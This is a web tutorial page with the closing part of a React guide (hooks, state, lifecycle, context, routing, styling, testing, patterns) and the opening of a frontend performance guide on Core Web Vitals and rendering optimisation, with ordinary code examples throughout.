function Button({ text = 'Click me' }) {
return <button>{text}</button>;
}

// Class components
Button.defaultProps = {
text: 'Click me'
};

PropTypes (Type Checking)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import PropTypes from 'prop-types';

function User({ name, age, emails }) {
return (
<div>
<h1>{name}</h1>
<p>Age: {age}</p>
<ul>
{emails.map((email, index) => (
<li key={index}>{email}</li>
))}
</ul>
</div>
);
}

User.propTypes = {
name: PropTypes.string.isRequired,
age: PropTypes.number,
emails: PropTypes.arrayOf(PropTypes.string)
};

State

State is a JavaScript object that contains data specific to a component that may change over time.

State in Class Components

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import React, { Component } from 'react';

class Counter extends Component {
constructor(props) {
super(props);
this.state = {
count: 0
};
}

increment = () => {
this.setState({ count: this.state.count + 1 });
};

render() {
return (
<div>
<p>Count: {this.state.count}</p>
<button onClick={this.increment}>Increment</button>
</div>
);
}
}

State Updates May Be Asynchronous

1
2
3
4
5
6
7
8
9
// Wrong way to update state based on previous state
this.setState({
count: this.state.count + 1
});

// Correct way using a function
this.setState((prevState) => ({
count: prevState.count + 1
}));

State Updates are Merged

1
2
3
4
5
6
7
8
// Initial state
this.state = {
count: 0,
user: { name: 'John', age: 25 }
};

// This only updates count, user remains unchanged
this.setState({ count: 1 });

Hooks

Hooks are functions that let you “hook into” React state and lifecycle features from function components.

useState

1
2
3
4
5
6
7
8
9
10
11
12
import React, { useState } from 'react';

function Counter() {
const [count, setCount] = useState(0);

return (
<div>
<p>Count: {count}</p>
<button onClick={() => setCount(count + 1)}>Increment</button>
</div>
);
}

useState with Objects

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function UserForm() {
const [user, setUser] = useState({
name: '',
email: ''
});

const handleNameChange = (e) => {
setUser({
...user, // Spread to preserve other fields
name: e.target.value
});
};

return (
<div>
<input
value={user.name}
onChange={handleNameChange}
placeholder="Name"
/>
{/* Similar for email */}
</div>
);
}

useEffect

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import React, { useState, useEffect } from 'react';

function DataFetcher() {
const [data, setData] = useState(null);
const [loading, setLoading] = useState(true);

useEffect(() => {
async function fetchData() {
try {
const response = await fetch('https://api.example.com/data');
const result = await response.json();
setData(result);
} catch (error) {
console.error('Error fetching data:', error);
} finally {
setLoading(false);
}
}

fetchData();

// Cleanup function (optional)
return () => {
console.log('Component unmounting or dependencies changing');
// Cancel pending requests or cleanup resources
};
}, []); // Empty dependency array means run once on mount

if (loading) return <div>Loading...</div>;
if (!data) return <div>No data found</div>;

return <div>{/* Render data */}</div>;
}

useEffect with Dependencies

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function SearchResults({ query }) {
const [results, setResults] = useState([]);

useEffect(() => {
// This effect runs when component mounts and when query changes
if (query.length < 3) return; // Don't search for short queries

const fetchResults = async () => {
const data = await fetchSearchResults(query);
setResults(data);
};

fetchResults();
}, [query]); // Dependency array with query

return (
<ul>
{results.map(result => (
<li key={result.id}>{result.title}</li>
))}
</ul>
);
}

useContext

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// Create a context
const ThemeContext = React.createContext('light');

// Provider component
function App() {
const [theme, setTheme] = useState('light');

return (
<ThemeContext.Provider value={theme}>
<div className={`App ${theme}`}>
<Header />
<Main />
<button onClick={() => setTheme(theme === 'light' ? 'dark' : 'light')}>
Toggle Theme
</button>
</div>
</ThemeContext.Provider>
);
}

// Consumer component using useContext
function Header() {
const theme = useContext(ThemeContext);
return <header className={`header ${theme}`}>Header</header>;
}

useReducer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import React, { useReducer } from 'react';

// Reducer function
function counterReducer(state, action) {
switch (action.type) {
case 'INCREMENT':
return { count: state.count + 1 };
case 'DECREMENT':
return { count: state.count - 1 };
case 'RESET':
return { count: 0 };
default:
return state;
}
}

function Counter() {
const [state, dispatch] = useReducer(counterReducer, { count: 0 });

return (
<div>
<p>Count: {state.count}</p>
<button onClick={() => dispatch({ type: 'INCREMENT' })}>Increment</button>
<button onClick={() => dispatch({ type: 'DECREMENT' })}>Decrement</button>
<button onClick={() => dispatch({ type: 'RESET' })}>Reset</button>
</div>
);
}

useCallback

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import React, { useState, useCallback } from 'react';

function ParentComponent() {
const [count, setCount] = useState(0);

// Function reference stays the same between renders
const handleClick = useCallback(() => {
console.log('Button clicked');
}, []); // Empty dependency array = never recreate function

// Recreate function when count changes
const handleCountDependent = useCallback(() => {
console.log(`Current count: ${count}`);
}, [count]);

return (
<div>
<p>Count: {count}</p>
<button onClick={() => setCount(count + 1)}>Increment</button>
<ChildComponent onClick={handleClick} />
</div>
);
}

const ChildComponent = React.memo(({ onClick }) => {
console.log('ChildComponent rendered');
return <button onClick={onClick}>Click me</button>;
});

useMemo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import React, { useState, useMemo } from 'react';

function ExpensiveCalculation({ numbers }) {
const [count, setCount] = useState(0);

// This calculation only runs when numbers array changes
const sum = useMemo(() => {
console.log('Calculating sum...');
return numbers.reduce((acc, val) => acc + val, 0);
}, [numbers]);

return (
<div>
<p>Sum: {sum}</p>
<p>Count: {count}</p>
<button onClick={() => setCount(count + 1)}>Increment</button>
</div>
);
}

Custom Hooks

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
// Custom hook for form handling
function useForm(initialValues) {
const [values, setValues] = useState(initialValues);

const handleChange = (e) => {
const { name, value } = e.target;
setValues({
...values,
[name]: value
});
};

const resetForm = () => {
setValues(initialValues);
};

return {
values,
handleChange,
resetForm
};
}

// Using the custom hook
function SignupForm() {
const { values, handleChange, resetForm } = useForm({
username: '',
email: '',
password: ''
});

const handleSubmit = (e) => {
e.preventDefault();
console.log('Form submitted:', values);
resetForm();
};

return (
<form onSubmit={handleSubmit}>
<input
name="username"
value={values.username}
onChange={handleChange}
placeholder="Username"
/>
<input
name="email"
value={values.email}
onChange={handleChange}
placeholder="Email"
/>
<input
type="password"
name="password"
value={values.password}
onChange={handleChange}
placeholder="Password"
/>
<button type="submit">Sign Up</button>
</form>
);
}

Lifecycle Methods

Class components have lifecycle methods for performing actions at specific times.

Mounting

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
class LifecycleDemo extends Component {
constructor(props) {
super(props);
this.state = { data: null };
console.log('1. Constructor');
}

static getDerivedStateFromProps(props, state) {
console.log('2. getDerivedStateFromProps');
return null; // No state update needed
}

componentDidMount() {
console.log('4. componentDidMount');
// Good place for network requests
fetch('https://api.example.com/data')
.then(response => response.json())
.then(data => this.setState({ data }));
}

render() {
console.log('3. Render');
return <div>Lifecycle Demo</div>;
}
}

Updating

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
class UpdatingDemo extends Component {
shouldComponentUpdate(nextProps, nextState) {
console.log('1. shouldComponentUpdate');
// Return false to prevent rendering
return true;
}

getSnapshotBeforeUpdate(prevProps, prevState) {
console.log('3. getSnapshotBeforeUpdate');
// Return value passed to componentDidUpdate
return { scrollPosition: window.scrollY };
}

componentDidUpdate(prevProps, prevState, snapshot) {
console.log('4. componentDidUpdate', snapshot);
// Run after component updates
if (prevProps.userId !== this.props.userId) {
this.fetchUserData(this.props.userId);
}
}

render() {
console.log('2. Render');
return <div>Updating Demo</div>;
}
}

Unmounting

1
2
3
4
5
6
7
8
9
10
11
class UnmountingDemo extends Component {
componentWillUnmount() {
console.log('componentWillUnmount');
// Cleanup resources, cancel network requests, etc.
this.subscription.unsubscribe();
}

render() {
return <div>Unmounting Demo</div>;
}
}

Error Handling

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
class ErrorBoundary extends Component {
constructor(props) {
super(props);
this.state = { hasError: false };
}

static getDerivedStateFromError(error) {
// Update state to render fallback UI
return { hasError: true };
}

componentDidCatch(error, errorInfo) {
// Log error to error reporting service
console.error('Error caught by boundary:', error, errorInfo);
logErrorToService(error, errorInfo);
}

render() {
if (this.state.hasError) {
return <h1>Something went wrong.</h1>;
}

return this.props.children;
}
}

// Usage
function App() {
return (
<ErrorBoundary>
<MyComponent />
</ErrorBoundary>
);
}

Handling Events

1
2
3
4
5
6
7
8
function Button() {
const handleClick = (e) => {
e.preventDefault(); // Prevent default behavior
console.log('Button clicked');
};

return <button onClick={handleClick}>Click me</button>;
}

Passing Arguments to Event Handlers

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function ItemList({ items }) {
const handleDelete = (id, e) => {
console.log(`Delete item ${id}`);
};

return (
<ul>
{items.map(item => (
<li key={item.id}>
{item.name}
{/* Method 1: Using arrow function */}
<button onClick={(e) => handleDelete(item.id, e)}>Delete</button>

{/* Method 2: Using bind */}
<button onClick={handleDelete.bind(null, item.id)}>Delete</button>
</li>
))}
</ul>
);
}

Conditional Rendering

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function ConditionalDemo({ isLoggedIn }) {
// Method 1: If statement
if (isLoggedIn) {
return <h1>Welcome back!</h1>;
}
return <h1>Please sign in</h1>;

// Method 2: Ternary operator
return (
<div>
{isLoggedIn
? <h1>Welcome back!</h1>
: <h1>Please sign in</h1>
}
</div>
);

// Method 3: Logical && operator
return (
<div>
{isLoggedIn && <h1>Welcome back!</h1>}
{!isLoggedIn && <h1>Please sign in</h1>}
</div>
);
}

Lists and Keys

1
2
3
4
5
6
7
8
9
10
11
12
function TodoList({ todos }) {
return (
<ul>
{todos.map((todo) => (
// Always use a unique key for list items
<li key={todo.id}>
{todo.text}
</li>
))}
</ul>
);
}

Key Best Practices

1
2
3
4
5
6
7
8
9
10
11
12
13
// Bad: Using index as key can lead to issues with item reordering
<ul>
{items.map((item, index) => (
<li key={index}>{item.text}</li>
))}
</ul>

// Good: Using unique IDs from your data
<ul>
{items.map(item => (
<li key={item.id}>{item.text}</li>
))}
</ul>

Forms

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
function ControlledForm() {
const [formData, setFormData] = useState({
username: '',
email: '',
agreement: false
});

const handleChange = (e) => {
const value = e.target.type === 'checkbox' ? e.target.checked : e.target.value;
setFormData({
...formData,
[e.target.name]: value
});
};

const handleSubmit = (e) => {
e.preventDefault();
console.log('Form submitted:', formData);
};

return (
<form onSubmit={handleSubmit}>
<div>
<label htmlFor="username">Username:</label>
<input
type="text"
id="username"
name="username"
value={formData.username}
onChange={handleChange}
/>
</div>

<div>
<label htmlFor="email">Email:</label>
<input
type="email"
id="email"
name="email"
value={formData.email}
onChange={handleChange}
/>
</div>

<div>
<label>
<input
type="checkbox"
name="agreement"
checked={formData.agreement}
onChange={handleChange}
/>
I agree to the terms
</label>
</div>

<button type="submit">Submit</button>
</form>
);
}

Uncontrolled Components with Refs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
function UncontrolledForm() {
const usernameRef = useRef(null);
const emailRef = useRef(null);

const handleSubmit = (e) => {
e.preventDefault();
const data = {
username: usernameRef.current.value,
email: emailRef.current.value
};
console.log('Form submitted:', data);
};

return (
<form onSubmit={handleSubmit}>
<div>
<label htmlFor="username">Username:</label>
<input
type="text"
id="username"
name="username"
ref={usernameRef}
defaultValue=""
/>
</div>

<div>
<label htmlFor="email">Email:</label>
<input
type="email"
id="email"
name="email"
ref={emailRef}
defaultValue=""
/>
</div>

<button type="submit">Submit</button>
</form>
);
}

Context API

Context provides a way to pass data through the component tree without having to pass props down manually at every level.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
// 1. Create a context
const ThemeContext = React.createContext({
theme: 'light',
toggleTheme: () => {}
});

// 2. Create a provider component
function ThemeProvider({ children }) {
const [theme, setTheme] = useState('light');

const toggleTheme = () => {
setTheme(prevTheme => prevTheme === 'light' ? 'dark' : 'light');
};

const value = { theme, toggleTheme };

return (
<ThemeContext.Provider value={value}>
{children}
</ThemeContext.Provider>
);
}

// 3. Create a consumer hook
function useTheme() {
const context = useContext(ThemeContext);
if (context === undefined) {
throw new Error('useTheme must be used within a ThemeProvider');
}
return context;
}

// 4. Use the context in components
function ThemedButton() {
const { theme, toggleTheme } = useTheme();

return (
<button
className={`btn btn-${theme}`}
onClick={toggleTheme}
>
Toggle Theme
</button>
);
}

// 5. Wrap your app with the provider
function App() {
return (
<ThemeProvider>
<div className="app">
<ThemedButton />
<ThemedContent />
</div>
</ThemeProvider>
);
}

Error Handling

Error Boundaries (Class Components Only)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
class ErrorBoundary extends React.Component {
constructor(props) {
super(props);
this.state = { hasError: false, error: null, errorInfo: null };
}

static getDerivedStateFromError(error) {
// Update state so the next render will show the fallback UI
return { hasError: true };
}

componentDidCatch(error, errorInfo) {
// Log the error to an error reporting service
console.error("Error caught by error boundary:", error, errorInfo);
this.setState({ error, errorInfo });
}

render() {
if (this.state.hasError) {
// You can render any custom fallback UI
return (
<div className="error-boundary">
<h2>Something went wrong.</h2>
<details style={{ whiteSpace: 'pre-wrap' }}>
{this.state.error && this.state.error.toString()}
<br />
{this.state.errorInfo && this.state.errorInfo.componentStack}
</details>
<button onClick={() => this.setState({ hasError: false })}>
Try again
</button>
</div>
);
}

return this.props.children;
}
}

// Usage
function App() {
return (
<ErrorBoundary>
<MyComponent />
</ErrorBoundary>
);
}

Try/Catch in Function Components

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
function ProfilePage({ userId }) {
const [user, setUser] = useState(null);
const [error, setError] = useState(null);

useEffect(() => {
async function fetchUser() {
try {
const response = await fetch(`/api/users/${userId}`);
if (!response.ok) throw new Error('Failed to fetch user');
const userData = await response.json();
setUser(userData);
} catch (err) {
setError(err.message);
}
}

fetchUser();
}, [userId]);

if (error) {
return <div className="error-message">Error: {error}</div>;
}

if (!user) {
return <div className="loading">Loading...</div>;
}

return (
<div className="profile">
<h2>{user.name}</h2>
<p>{user.bio}</p>
</div>
);
}

Performance Optimization

React.memo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// Prevent unnecessary re-renders
const MemoizedComponent = React.memo(function MyComponent(props) {
// Only re-renders if props change
return <div>{props.name}</div>;
});

// Custom comparison function
const areEqual = (prevProps, nextProps) => {
// Return true if passing nextProps to render would return
// the same result as passing prevProps to render
return prevProps.name === nextProps.name;
};

const MemoizedWithCustomComparison = React.memo(MyComponent, areEqual);

useCallback and useMemo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
function SearchResults({ query, onResultClick }) {
// Memoize expensive calculations
const filteredData = useMemo(() => {
console.log('Filtering data...');
return expensiveFilter(data, query);
}, [data, query]);

// Preserve function references between renders
const handleResultClick = useCallback((item) => {
console.log('Result clicked:', item);
onResultClick(item);
}, [onResultClick]);

return (
<ul>
{filteredData.map(item => (
<SearchResult
key={item.id}
item={item}
onClick={handleResultClick}
/>
))}
</ul>
);
}

// Prevent re-rendering when parent re-renders
const SearchResult = React.memo(({ item, onClick }) => {
console.log('Rendering result:', item.id);
return (
<li onClick={() => onClick(item)}>
{item.title}
</li>
);
});

Lazy Loading with Suspense

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import React, { lazy, Suspense } from 'react';

// Lazy load components
const HeavyComponent = lazy(() => import('./HeavyComponent'));
const AnotherHeavyComponent = lazy(() => import('./AnotherHeavyComponent'));

function App() {
return (
<div>
<h1>My App</h1>
<Suspense fallback={<div>Loading...</div>}>
<HeavyComponent />
<AnotherHeavyComponent />
</Suspense>
</div>
);
}

React Router (Most Common Routing Library)

React Router is a standard library for routing in React applications.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import { BrowserRouter, Routes, Route, Link, useParams, useNavigate } from 'react-router-dom';

function App() {
return (
<BrowserRouter>
<nav>
<Link to="/">Home</Link>
<Link to="/about">About</Link>
<Link to="/users">Users</Link>
</nav>

<Routes>
<Route path="/" element={<Home />} />
<Route path="/about" element={<About />} />
<Route path="/users" element={<Users />} />
<Route path="/users/:userId" element={<UserDetail />} />
<Route path="*" element={<NotFound />} />
</Routes>
</BrowserRouter>
);
}

function UserDetail() {
const { userId } = useParams();
const navigate = useNavigate();

const goBack = () => {
navigate(-1); // Go back one page
};

return (
<div>
<h2>User: {userId}</h2>
<button onClick={goBack}>Back</button>
</div>
);
}

Styling in React

CSS Modules

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// Button.module.css
.button {
background-color: blue;
color: white;
padding: 10px 20px;
}

.primary {
background-color: blue;
}

.secondary {
background-color: gray;
}

// Button.jsx
import styles from './Button.module.css';

function Button({ variant = 'primary', children }) {
return (
<button className={`${styles.button} ${styles[variant]}`}>
{children}
</button>
);
}

Styled Components

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import styled from 'styled-components';

const Button = styled.button`
background-color: ${props => props.primary ? 'blue' : 'gray'};
color: white;
padding: 10px 20px;
border: none;
border-radius: 4px;

&:hover {
opacity: 0.8;
}
`;

function App() {
return (
<div>
<Button primary>Primary Button</Button>
<Button>Secondary Button</Button>
</div>
);
}

CSS-in-JS with Emotion

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/** @jsxImportSource @emotion/react */
import { css } from '@emotion/react';

const buttonStyles = css`
background-color: blue;
color: white;
padding: 10px 20px;
`;

const primaryStyles = css`
background-color: blue;
`;

const secondaryStyles = css`
background-color: gray;
`;

function Button({ variant = 'primary', children }) {
return (
<button
css={[
buttonStyles,
variant === 'primary' ? primaryStyles : secondaryStyles
]}
>
{children}
</button>
);
}

Inline Styles

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function Button({ primary, children }) {
const buttonStyle = {
backgroundColor: primary ? 'blue' : 'gray',
color: 'white',
padding: '10px 20px',
border: 'none',
borderRadius: '4px'
};

return (
<button style={buttonStyle}>
{children}
</button>
);
}

Testing React Components

Jest and React Testing Library

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// Button.test.js
import { render, screen, fireEvent } from '@testing-library/react';
import Button from './Button';

test('renders button with correct text', () => {
render(<Button>Click me</Button>);
const buttonElement = screen.getByText(/click me/i);
expect(buttonElement).toBeInTheDocument();
});

test('calls onClick handler when clicked', () => {
const handleClick = jest.fn();
render(<Button onClick={handleClick}>Click me</Button>);

const buttonElement = screen.getByText(/click me/i);
fireEvent.click(buttonElement);

expect(handleClick).toHaveBeenCalledTimes(1);
});

Snapshot Testing

1
2
3
4
5
6
7
import { render } from '@testing-library/react';
import Button from './Button';

test('matches snapshot', () => {
const { container } = render(<Button>Click me</Button>);
expect(container).toMatchSnapshot();
});

Common React Patterns

Compound Components

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
function Tabs({ children, defaultIndex = 0 }) {
const [activeIndex, setActiveIndex] = useState(defaultIndex);

const context = {
activeIndex,
setActiveIndex
};

return (
<TabsContext.Provider value={context}>
<div className="tabs">{children}</div>
</TabsContext.Provider>
);
}

function TabList({ children }) {
return <div className="tab-list">{children}</div>;
}

function Tab({ index, children }) {
const { activeIndex, setActiveIndex } = useContext(TabsContext);
const isActive = activeIndex === index;

return (
<button
className={`tab ${isActive ? 'active' : ''}`}
onClick={() => setActiveIndex(index)}
>
{children}
</button>
);
}

function TabPanels({ children }) {
const { activeIndex } = useContext(TabsContext);
return <div className="tab-panels">{children[activeIndex]}</div>;
}

function TabPanel({ children }) {
return <div className="tab-panel">{children}</div>;
}

// Usage
function App() {
return (
<Tabs defaultIndex={0}>
<TabList>
<Tab index={0}>Tab 1</Tab>
<Tab index={1}>Tab 2</Tab>
</TabList>
<TabPanels>
<TabPanel>Content for Tab 1</TabPanel>
<TabPanel>Content for Tab 2</TabPanel>
</TabPanels>
</Tabs>
);
}

Render Props

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function Mouse({ render }) {
const [position, setPosition] = useState({ x: 0, y: 0 });

const handleMouseMove = (e) => {
setPosition({
x: e.clientX,
y: e.clientY
});
};

return (
<div onMouseMove={handleMouseMove} style={{ height: '100vh' }}>
{render(position)}
</div>
);
}

// Usage
function App() {
return (
<Mouse
render={({ x, y }) => (
<div style={{ position: 'absolute', left: x, top: y }}>
{x}, {y}
</div>
)}
/>
);
}

Higher-Order Components (HOC)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// HOC that adds logging
function withLogging(WrappedComponent) {
return function WithLogging(props) {
useEffect(() => {
console.log(`Component ${WrappedComponent.name} mounted`);
return () => {
console.log(`Component ${WrappedComponent.name} unmounted`);
};
}, []);

return <WrappedComponent {...props} />;
};
}

// Component to enhance
function UserProfile({ user }) {
return (
<div>
<h2>{user.name}</h2>
<p>{user.email}</p>
</div>
);
}

// Enhanced component
const UserProfileWithLogging = withLogging(UserProfile);

// Usage
function App() {
return <UserProfileWithLogging user={{ name: 'John', email: 'john@example.com' }} />;
}

Learning Resources

  • Official React Documentation
  • React Hooks Documentation
  • Create React App Documentation
  • React Developer Tools Browser Extension
  • React Router Documentation
  • React Testing Library Documentation
  • Thinking in React

React is a powerful library for building user interfaces, and mastering its core concepts will enable you to create efficient, maintainable, and performant web applications. This guide covers the fundamentals, but React’s ecosystem is vast and constantly evolving, so continuous learning is key to staying up-to-date with best practices and patterns.

  • Web Development
  • JavaScript
  • React
  • Hooks
  • Components
  • JSX

show all >>

Frontend Performance Optimization

  2023-06-16
字数统计: 2.9k字   |   阅读时长: 18min

Frontend Performance Optimization

Performance is a critical aspect of user experience. This guide covers key techniques and metrics for optimizing frontend applications.

Core Web Vitals

Core Web Vitals are a set of user-centric metrics that measure real-world user experience.

Largest Contentful Paint (LCP)

LCP measures loading performance – how quickly the largest content element becomes visible.

Good LCP Scores

  • Good: ≤ 2.5 seconds
  • Needs Improvement: 2.5 - 4.0 seconds
  • Poor: > 4.0 seconds

Improving LCP

  1. Optimize Server Response Time

    • Use a CDN
    • Implement caching
    • Optimize backend code
    • Use early hints (103 Early Hints)
  2. Optimize Resource Loading

    1
    2
    3
    4
    5
    <!-- Preload critical resources -->
    <link rel="preload" href="/fonts/main.woff2" as="font" type="font/woff2" crossorigin>

    <!-- Preconnect to required origins -->
    <link rel="preconnect" href="https://cdn.example.com">
  3. Eliminate Render-Blocking Resources

    1
    2
    3
    4
    5
    <!-- Defer non-critical JavaScript -->
    <script src="/js/non-critical.js" defer></script>

    <!-- Load non-critical CSS asynchronously -->
    <link rel="preload" href="/css/non-critical.css" as="style" onload="this.onload=null;this.rel='stylesheet'">
  4. Optimize Images

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <!-- Use responsive images -->
    <img
    src="image-400w.jpg"
    srcset="image-400w.jpg 400w, image-800w.jpg 800w, image-1200w.jpg 1200w"
    sizes="(max-width: 600px) 400px, (max-width: 1200px) 800px, 1200px"
    alt="Responsive image"
    >

    <!-- Use modern formats -->
    <picture>
    <source type="image/avif" srcset="image.avif">
    <source type="image/webp" srcset="image.webp">
    <img src="image.jpg" alt="Image description">
    </picture>

First Input Delay (FID)

FID measures interactivity – how quickly a page responds to user interactions.

Good FID Scores

  • Good: ≤ 100ms
  • Needs Improvement: 100ms - 300ms
  • Poor: > 300ms

Improving FID

  1. Break Up Long Tasks

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    // Instead of one long task
    function processAllItems(items) {
    for (const item of items) {
    processItem(item); // Potentially expensive operation
    }
    }

    // Break into smaller chunks with scheduling
    function processItemsInChunks(items, chunkSize = 50) {
    let index = 0;

    function processChunk() {
    const limit = Math.min(index + chunkSize, items.length);

    while (index < limit) {
    processItem(items[index++]);
    }

    if (index < items.length) {
    setTimeout(processChunk, 0); // Yield to browser
    }
    }

    processChunk();
    }
  2. Use Web Workers for Heavy Computation

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    // main.js
    const worker = new Worker('worker.js');

    worker.addEventListener('message', (event) => {
    // Handle result from the worker
    displayResult(event.data);
    });

    // Send data to worker
    worker.postMessage({ data: complexData });

    // worker.js
    self.addEventListener('message', (event) => {
    // Perform heavy computation without blocking the main thread
    const result = performComplexCalculation(event.data);
    self.postMessage(result);
    });
  3. Optimize JavaScript Execution

    • Avoid unnecessary JavaScript
    • Code-split and lazy load components
    • Minimize unused polyfills
    • Use modern JavaScript syntax (which typically compiles to smaller code)

Cumulative Layout Shift (CLS)

CLS measures visual stability – how much elements move around during page load.

Good CLS Scores

  • Good: ≤ 0.1
  • Needs Improvement: 0.1 - 0.25
  • Poor: > 0.25

Improving CLS

  1. Set Size Attributes on Media

    1
    2
    3
    4
    5
    6
    7
    <!-- Always specify dimensions -->
    <img src="image.jpg" width="640" height="360" alt="Image with dimensions">

    <!-- Or use aspect ratio box -->
    <div style="aspect-ratio: 16/9; width: 100%;">
    <img src="image.jpg" style="width: 100%; height: 100%; object-fit: cover;">
    </div>
  2. Reserve Space for Dynamic Content

    1
    2
    3
    4
    5
    6
    /* For ads, embeds, etc. */
    .ad-container {
    min-height: 250px; /* Known minimum height */
    width: 100%;
    background-color: #f1f1f1;
    }
  3. Avoid Inserting Content Above Existing Content

    1
    2
    3
    4
    5
    6
    // Bad: Inserting a banner at the top after load
    document.body.insertBefore(banner, document.body.firstChild);

    // Better: Reserve the space or add at the bottom
    const bannerContainer = document.getElementById('banner-container');
    bannerContainer.appendChild(banner);
  4. Use CSS content-visibility for Long Pages

    1
    2
    3
    4
    5
    /* Skip rendering off-screen content */
    .content-section {
    content-visibility: auto;
    contain-intrinsic-size: 0 500px; /* Estimate size */
    }

Interaction to Next Paint (INP)

INP measures responsiveness – how quickly the page responds to all user interactions.

Good INP Scores

  • Good: ≤ 200ms
  • Needs Improvement: 200ms - 500ms
  • Poor: > 500ms

Improving INP

  1. Use Event Delegation

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    // Instead of adding listeners to each button
    document.querySelectorAll('.button').forEach(button => {
    button.addEventListener('click', handleClick);
    });

    // Use event delegation
    document.addEventListener('click', (event) => {
    if (event.target.matches('.button')) {
    handleClick(event);
    }
    });
  2. Debounce or Throttle Input Handlers

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    function debounce(func, wait) {
    let timeout;
    return function(...args) {
    clearTimeout(timeout);
    timeout = setTimeout(() => func.apply(this, args), wait);
    };
    }

    // Apply to expensive handlers
    const debouncedSearchHandler = debounce((event) => {
    searchAPI(event.target.value);
    }, 300);

    searchInput.addEventListener('input', debouncedSearchHandler);
  3. Use CSS for Animations When Possible

    1
    2
    3
    4
    5
    6
    7
    8
    /* Use CSS transitions instead of JavaScript */
    .button {
    transition: transform 0.2s ease-out;
    }

    .button:hover {
    transform: scale(1.05);
    }

Rendering Performance

Critical Rendering Path

  1. HTML Parsing
  2. CSS Object Model (CSSOM)
  3. Render Tree Construction
  4. Layout/Reflow
  5. Paint
  6. Compositing

Reducing Layout Thrashing

Layout thrashing occurs when JavaScript repeatedly reads and writes to the DOM, forcing multiple recalculations.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// Bad: Interleaved reads and writes
const boxes = document.querySelectorAll('.box');
boxes.forEach(box => {
const width = box.offsetWidth; // Read
box.style.width = (width * 2) + 'px'; // Write
const height = box.offsetHeight; // Read - forces reflow
box.style.height = (height * 2) + 'px'; // Write
});

// Good: Batch reads, then writes
const boxes = document.querySelectorAll('.box');
const dimensions = [];

// Read phase
boxes.forEach(box => {
dimensions.push([box.offsetWidth, box.offsetHeight]);
});

// Write phase
boxes.forEach((box, i) => {
const [width, height] = dimensions[i];
box.style.width = (width * 2) + 'px';
box.style.height = (height * 2) + 'px';
});

Using will-change Property

1
2
3
4
5
6
7
8
9
/* Hint to the browser that an element will change */
.sidebar {
will-change: transform;
}

/* Remove when animation complete to free up resources */
.sidebar.animation-done {
will-change: auto;
}

